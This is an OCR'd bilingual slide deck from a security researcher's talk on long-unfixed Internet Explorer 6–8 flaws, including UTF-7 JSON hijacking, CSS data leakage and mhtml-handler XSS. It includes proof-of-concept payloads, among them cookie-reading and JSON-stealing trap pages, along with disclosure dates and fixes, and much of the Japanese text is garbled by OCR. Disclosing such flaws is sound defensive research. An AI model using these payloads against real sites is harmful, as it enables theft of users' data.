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+IEG6 Is 'spoilt milk' web browser.
IEGIXB OISV DI HTEWRD S OY

+Microsoft themselves admitted
MicrosoftBBH6:28TL\SD
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IEG is 'spoilt milk' browser
IE6IIEOIESIVIHIEWNRT SOY
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Download IE8  Send Spoilt Milk @ i’"ﬁ"f“é’m et EXpl orer8

So why use a
9-year-old browser?

When Internet Explorer 6 was launched in 2001, it
offered cutting-edge security — for the time. Since
then, the Internet has evolved and the security
features of Internet Explorer 6 have become outdated.

With the latest state-of-the-art security features,
Internet Explorer 8 is designed to cope with today's
modern cyber crime. In fact, research studies proveit.

In a study by NSS Labs, Internet Explorer 8
caught socially engineered malware 85% of
the time compared to Firefox 3's 29%,
Safari 4's 29% and Chrome's 17%*.

More Internet Explorer 8 Security FACTS

To keep yourself safe,
don't use an out—of-date browser.
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Today's topic o:s9 315

<*Many security flaws left untouched
for years.

RULBEMESTSNTLWARIERNZE.
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Many flaws left untouched for years
RULBIREESNTULWSBRERDZEL

http://wWw.youtube.com/watchg/zKZSanG DleY
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Today's topic samsz:=

“Junst only IE6? No.
IE6GIZ(F? E=h\.
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Just only IE67? NoO. 1672132 =n.

+Also IE7 and IE8 has flaws
IE7/86KIREH D

f Y—3ige 80600118702
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Today's topicC 2= 35
for the IE9 I1E9(CHIFT

“expect IE becomes more secure
browser by shedding light on past
flaws
BREORERZHSNMNCIT S ETIEdZR
TCF17RB3B60D(C!
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Untouched flaws
X = X =X



Untouched flaws mEa=nhi=FoMsss

affect

flaws 6 7 8
MLang encode conversion issue v Vv

JSON Hijack with UTF-7 vV VvV

bypass Content-Disposition vV V V
infomation leakage via CSS vV V V
JavaScript back-quote issue vV Vv V
XSS with mhtml handler vV V V
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Untouched flaws mEa=nhi=FoMsss

affect

flaws 6 7 8
MLang encode conversion issue v Vv
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XSS with mhtml handler vV V V

INNOVATION TO THE FUTURE NetAgent Co., Ltd.




MLang encode conversion issue
MLang®I > 11— RFZEHRIDRIE

<"MLang" : DLL for multi language
support including conversion of
text encoding

MLang : XFI>1—5 1 OERRE
S0, EHOEBEYR—NIT DD
MDDLL

“ConvertINetMultiByteToUnicode
“ConvertINetUnicodeToMultiByte
“*ConvertINetString
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MLang encode conversion issue
MLang®I > 11— RFZEHRIDRIE

“IE handles text as Unicode from
outside with conversion by MLang.
IE(EMLangZ{E> THEHh 5D FF%Z
UnicodelcZ#1 L TR

Shift_JIS,
EUC-JP,
EUC-KR,

q HTML
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MLang encode conversion issue
MLang®I > 11— RFZEHRIDRIE

<+*Converted to Unicode accordingly
when given broken byte sequence.
IwNE)INA MllzELEEEE. N
D (CUnicodelcZE#EN3

<"Converted accordingly”...
[EN/RD (CEHL
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MLang encode conversion issue
MLang®I > 11— RFZEHRIDRIE

<“*meta characters ("<>) which don't
exist in original byte sequence are
generated.
HEDI\A MIICHFEELRW ["<>] &
EDEREN. XSSICDIRh'D
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MLang encode conversion issue
MLang®I > 11— RFZEHRIDRIE

<meta http-equiv="Content-Type"
content="text/html; charset=XXXXX" />

<input
value="(0xNN)(OxNN)(OxNN)onmouseover=alert(1)//
(OXNN)(OXNN)(OxNN)" type="text">

(OxNN)s are invalid byte sequence for charset XXXXX
OXNN (E3ZFI— R XXXXX [CHEWVWTAIER) 1 B3I

<input value="??"onmouseover=alert(1)// ??""
type="text">

INNOVATION TO THE FUTURE NetAgent Co., Ltd.



MLang encode conversion issue
MLang®I > 11— RFZEHRIDRIE

<+too hard to prevent XSS by server-
side.

B — )\AITTDXSSP5LEIXTZVIANA

“validate all letters/bytes as the
charset encoding
XFI>A—5+4 >0 EUTETD
2NF/2/)\1 bR
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MLang encode conversion issue
MLang®I > 11— RFZEHRIDRIE

<*Not published for details how
BUK (S 5FH (X IELFH

<+ Affected : IE6 / IE7
IE8 : fixed

“Reported : Oct 2007
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Untouched flaws mEa=nhi=FoMsss

flaws Gaff7eCt8
MLang encode conversion issue v Vv

JSON Hijack with UTF-7 vV Vv

bypass Content-Disposition vV V V
infomation leakage via CSS vV V V
JavaScript back-quote issue vV V V
XSS with mhtml handler vV V V
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JSON Hijack with UTF-7

“»Target:
»Containing secret data in JSON
B IGiHRZ=LISON

o:oIit‘ attacker can control a part of JSON
strin

WESENISONAD—EZI> bO—ILTED
<+e.g., Web mail notification

B (EWeb X —)LDFFEEHIZ &

o:oJAégml\clker can read inside data of the
JSONADT—HH & RHRTESD
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JSON Hijack with UTF-7

"name" : "abc+MPv/fwAiAHOAXQA7-var t+ADOAWwWB7ACIAIg-:+ACI-",
"mail" : "hasegawa@utf-8.jp"

"name" : "John Smith",
"mail" : "john@example.com"

JSON for target : http://example.com/newmail.json

This means...
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JSON Hijack with UTF-7

convert from UTF-7 to another encoding...

llnamell : 'Iabcll}];vart=[{"":""’
"mail" : "hasegawa@utf-8.jp"

"name" : "John Smith",
"mail" : "john@example.com"

JSON for target : http://example.com/newmail.json

INNOVATION TO THE FUTURE NetAgent Co., Ltd. 24



JSON Hijack with UTF-7

trap HTML page created by attacker

<script src="http://example.com/newmail.json" charset="utf-7">
<script>alert(t[ 1 ].name + t[ 1 ].mail ); </script>

JSON for target : http://example.com/newmail.json

"name" : "abc+MPv/fwAiAHOAXQA7-var t+ADOAWwWB7ACIAIg-:+ACI-",
"mail" : "hasegawa@utf-8.jp"

"name" : "John Smith",
"mail" : "john@example.com"
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JSON Hijack with UTF-7

User

—
XHR.send(--+)
eval( JSON ) k

13

________
J“'}“jllmﬂ ‘5
e

{

“from” : “a@example. com” \
} Web mail
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JSON Hijack with UTF-7

B<script src="json”>
HTML

Attacker

<script src="“json”>
From: “+MPv---ACI-"

73

llll| o
T 6

{ I e
“from” : “+MPv/---ACI-" ~

} Web mail
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JSON Hijack with UTF-7

trap HTML page created by attackerl

priority

<script src="http://example.com/newmail.json" charset="utf-7">

JSON for target : http://example.com/newmail.json
Content-Type: application/json; charset=utf-8

[
{
"name" : "abc+MPv/fwAiAHOAXQA7-var t+ADOAWwWB7ACIAIg-:+ACI-",
"mail" : "hasegawa@utf-8.jp"

I
{

"name" : "John Smith",

"mail" : "john@example.com"
}

]
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JSON Hijack with UTF-7

<Published at Black Hat Japan 2008
and POC2008
Black Hat Japan 2008, POC2008
[CTHR

<+ Affected : IE6 / IE7
IE8 : fixed

<Reported : Oct 2008
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JSON Hijack with UTF-7

< Countermeasure by server
H—)\AITTOXNR
“Escape "+" to "¥u002b" in JSON
JSONAD + %& ¥u002b [CTRI—T

“Accept only POST
POSTDHZFAND

{
"name" : "abc\u002bMPv/f...QA7-var t\uO0O2bADOA...."

}
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Untouched flaws mEa=nhi=FoMsss

affect

flaws 6 7 8
MLang encode conversion issue v Vv

JSON Hijack with UTF-7 vV VvV

bypass Content-Disposition vV V V
infomation leakage via CSS vV V V
JavaScript back-quote issue vV Vv V
XSS with mhtml handler vV V V
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Bypass Content-Disposition
Content-Disposition®[alik#
Content-Disposition: attachment
<Download directive for browsers
IS0 A\DFI>O—RES
<+often uses for preventing for XSS
XSSOMKICESE

0 m2s AL A3stAR2SUMN?

@ OE: attach,html
S&: HTML Docurnen t, BEHIOIE

Content-Type: text/html; cl e ol
Content-Disposition: attact SO EEECHE | EE.
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Bypass Content-Disposition
Content-Disposition®[alik#

“Bypass "Content-Disposition:
attachment" with specially crafted
JavaScript by attacker.

WEEHEOMI UlzlavaScriptick DD
>0O— RiESZ/\A )\l
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Bypass Content-Disposition
Content-Disposition®[alik#
trap page by attacker MEEICLDIER—D

<script>
// crafted JavaScript here.
// actual code is not open today :)
</script>
<iframe src="http://example.com/download.cgi"></iframe>

http://example.com/download.cgi :
target content with "Content-Disposition: attachment" .
[ Content-Disposition:attachment] ODWEWRERRI>F>WY
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Bypass Content-Disposition
Content-Disposition®[alik#

“Published: Jul 2007 in Japan
2007 7R (CEHAXTLHH

<+ Affected : IE6 / IE7 / 1IES8

“No way to prevent XSS by server-
side
Y — )\AIT DRI ETRU
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Untouched flaws mEa=nhi=FoMsss

affect

flaws 6 7 8
MLang encode conversion issue v Vv

JSON Hijack with UTF-7 vV VvV

bypass Content-Disposition vV V V
infomation leakage via CSS vV Vv V
JavaScript back-quote issue vV V V
XSS with mhtml handler vV V V
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infomation leakage via CSS
CSSZz i Uz IR RDiIRA LY

“*leakage of sensitive data from HTML
via CSS "font-family”, "quotes”
CSS @ font-family ¥ quotes Zi&EU T
HTMLAD#HZIGHMIRA L

Fixed : MS10-071 at Oct 2010
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infomation leakage via CSS
CSS%:i U Tz TR¥ERDim A L)
target page containing sensitive data

<html|>

<l--injected by attacker -->
<div>}.a{font-family:a</div>
<l-- sensitive data here -->
<div>Secret data</div>

trap page created by attacker

<link rel="stylesheet" href="http://example.com/target.html" type="text/css">

<div class="a" id="target"></div>

<script>
alert(document.getElementByld("target").currentStyle.fontFamily);

</script>
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infomation leakage via CSS
CSS%:i U Tz TR¥ERDim A L)
target page containing sensitive data

<html|>

<l--injected by attacker -->
<div>}.a{font-family:a</div>
<l-- sensitive data here -->
<div>Secret data</div>

trap page created by attacker

<style> @import url("http://example.com/target.html"); </style>

<div class="a" id="target"></div>

<script>
alert(document.getElementByld("target").currentStyle.fontFamily);

</script>
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infomation leakage via CSS
CSS% & U= 15D

< Published: Nov 2008 in Japan
200811 A(CHARTLHH

“Republished: Sep 2010, SA41271
201049AH. Secuniakb 7 R)\A/H5U)

< Fixed: MS10-071 - Oct 2010
2010410A. MS10-071(CT{ELE

<+ Affected : IE6 / IE7 / 1IES8
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Untouched flaws mEa=nhi=FoMsss

affect

flaws 6 7 8
MLang encode conversion issue v Vv

JSON Hijack with UTF-7 vV VvV

bypass Content-Disposition vV V V
infomation leakage via CSS vV V V
JavaScript back-quote issue vV V V
XSS with mhtml handler vV V V

INNOVATION TO THE FUTURE NetAgent Co., Ltd.




JavaScript back-quotes issue
JavaScript/\wy 9 * — MREIRE

<+ IE treats the accent grave () as an
attribute delimiter like " and .

IEF/I\V OO A —RE"DP'OLSICBIAFTEL
TINDS
<input type="text"

id="x' value="abcd" />
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JavaScript back-quotes issue
JavaScript/\v 99 * — MEIRE
“Quotation mark (") will be stripped
from the attribute value when
using innerHTML property in case it

doesn't contain space.
innerHTMLZZR U EE(CEBIEBEICANR—
AR NEEIRAF()(FHIRENS
<div id="x"> e
<input type="text" value="abcd" >
</div>

o=

l . < INPUT value=abcd type=text=

;iert( S("x").innerHTML );
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JavaScript back-quotes issue
JavaScript/\wy 9 * — MREIRE

<div id="div1">

<input type="text" value='
</div>

<div id="div2"></div>
<script>

“‘onmouseover=alert(1)" >

</script>

<DIV id=div2>
<INPUT onmouseover=alert(1) type=text></DIV>
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JavaScript back-quotes issue
JavaScript/\v 99 * — MEIRE

< Published : Apr 2007 in Japan
200748 (CHA TR

< Affected : IE6 / IE7 / IES8

“*Reported : Nov 2007 as IE8 beta feedback
20074F11H(CIE8betadd I 1+ —KRI\w D
EUTEHSE

+"keep this behavior for backward
compatibility”, MS said.
[12 S EEVEDIZHICCDENFZTRT |
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Untouched flaws mEa=nhi=FoMsss

affect

flaws 6 7 8
MLang encode conversion issue v Vv

JSON Hijack with UTF-7 vV VvV

bypass Content-Disposition vV V V
infomation leakage via CSS vV V V
JavaScript back-quote issue vV Vv V
XSS with mhtml handler vV V V

INNOVATION TO THE FUTURE NetAgent Co., Ltd.




XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

<At one time, IE had assumed and
handled any contents as MHTML by
using "mhtml"” handler.
MDTIEIE. mhtml/)\> RS5ZERIDE
H5WBH51>57 2V ZEMHTMLTCHSEUT

HDOF>TLVE
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XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

**MHTML - web archive format defined RFC2557

From: hasegawa@utf-8.jp

To: someone@example.com

Subject: test

MIME-Version: 1.0

Content-Type: text/html; charset=us-ascii

<htmlI>
<body>
<h1>Hello</h1>

</body>
</html> *.eml or *.mht
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XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

mhtml:http://example.com/test.html

<htmlI>

Subject: test
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding:

<html|>
<script>alert(document.location);</script>
</html>

Injected by attacker
</html>
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XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

mhtml:http://example.com/test.html

<html>
<div>
Subject: test
Contenta

2  Should be fixed

PGhOK by MS07-034

vY3Vt.
dD4NCjwvaHRtbD4NCg==
</div>

</html>
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XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

[, Microsoft Security Bull... gn
- @ www.microsoft.com/technet/security/bulletin/ms07-034.mspx ke A,
A chiz | E=E | OR—STY, BRLEIH? ‘ﬁi%ﬂ‘ ‘L\L\i‘ AT23> .
Click Here to Install Silverlight United States Change | All Microsoft Sites
Microsoft | TechNet oing [2
TechMet Home TechCenters Downloads | TechMet Program Subscriptions Security Bulletins | Archive

S h f
saren fer TechMet Home = Techlet Security = Bulletins

m

B — Microsoft Security Bulletin MS07-034 - Critical

Security Bulletin Search Cumulative Security Update for Outlook Express and Windows Mail (929123)

Library.r F= W I T TR - = P DR D T B T | = |
- I

te=n | Other Information

Downloa

Support Acknowledgments

Microsoft thanks the following for working with us to help protect customers:

SANS ISC for working with us on the URL Redirect Vulnerability in MHTML Protocol Handler via Internet
Ewplorer ((CWE-2007-2225).

HASEGAWA Yosuke of webapp=sec.ip for reporting the MHTML Prefix Vulnerability Allows Unauthorized
Script via Internet Explorer (CWE-Z007-2227).

T o - e

This iz a critical security update for supported editions of Windows Vista. For other versions of Windows, this
update is rated impaortant or moderate ar law. For more infarmation, see the subsection, Affected and
Non-Affected Software, in this section.




XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

XSS via mhtml again.
mhtmlC K SXSSHU

<"JavaScript execution via MHTML-
scheme" at HTMLS5 Security
Cheatsheet by @Lever_One
http://heideri.ch/jso/#96

INNOVATION TO THE FUTURE NetAgent Co., Ltd.



XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

mhtml:http://heideri.ch/jso/test.html!xss.html

<html>
<body>
<b>some content without two new line \n\n</b>

Content-Type: multipart/related; boundary="***"<b>some content without two new line</b>
BE XY

Content-Location: xss.html
Content-Transfer-Encoding: base64

<iframe name=lo style=display:none></iframe>
<script>
url=location.href;document.getElementsByName('lo')[0].src=url.substring(6,url.indexOf('/',15));s

etTimeout("alert(frames['lo'].document.cookie)",2000);
</script>

</body> </html>
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XSS with mhtml handler
mhtml/)\> RS ICKBDXSS

<Published : May 2004 in Japan
200458 (CHA TR

“0nce fixed : Jun 2007 by MS07-034
20076 HICMS07-034TUL\D JZAMEIE

“Reopened : Jun 2010
2010sF6H(CHH

< Affected : IE6 / IE7 / IES8
XP only?
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Untouched flaws mEa=nhi=FoMsss

How IS
IEO?




Untouched flaws mEa=nhi=FoMsss

affect
flaws 6 7 8 9

MLang encode conversion issue v v

JSON Hijack with UTF-7

bypass Content-Disposition

infomation leakage via CSS

JavaScript back-quote issue

XSS with mhtml handler

[ <| << | K<
S| < | < | K<
S I N I U R N
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Fixed at IE9D
IEON—A TIHEIERH



Conclusion
M



Conclusion =z

<+ IE6/7/8 have many flaws which were
spotted ages ago and still have not been
effectively addressed
IE6/7/8 L ERVGHVWIZIEEIESNTUVLWRVRERED
ZHEFE

»These are fixed in IE9 beta.
IE9 betaTIXENSIHEIEEH

< Report flaws of IE9 while beta, if you find.
IE9ODEIREZ R DT IR B NAN—F DE(CEHRE
< Probably, too slowly to fix after releasing

IE9
IE9VU U —REB(FEIELES RDIHE!?
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Thanks to zao o

<*David Ross and MSRC for helpful
suggestions.

< @Lever_One for telling details
about mhtml issue.

<+Google Translation for gtz HA :-)

“...and Youl!
Thank you for your attention.
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Question? =z

<*mail

**hasegawa@utf-8.jp

“*hasegawa@netagent.co.jp
> Twitter

*** @hasegawayosuke
“*Web site

“*http://utf-8.jp/
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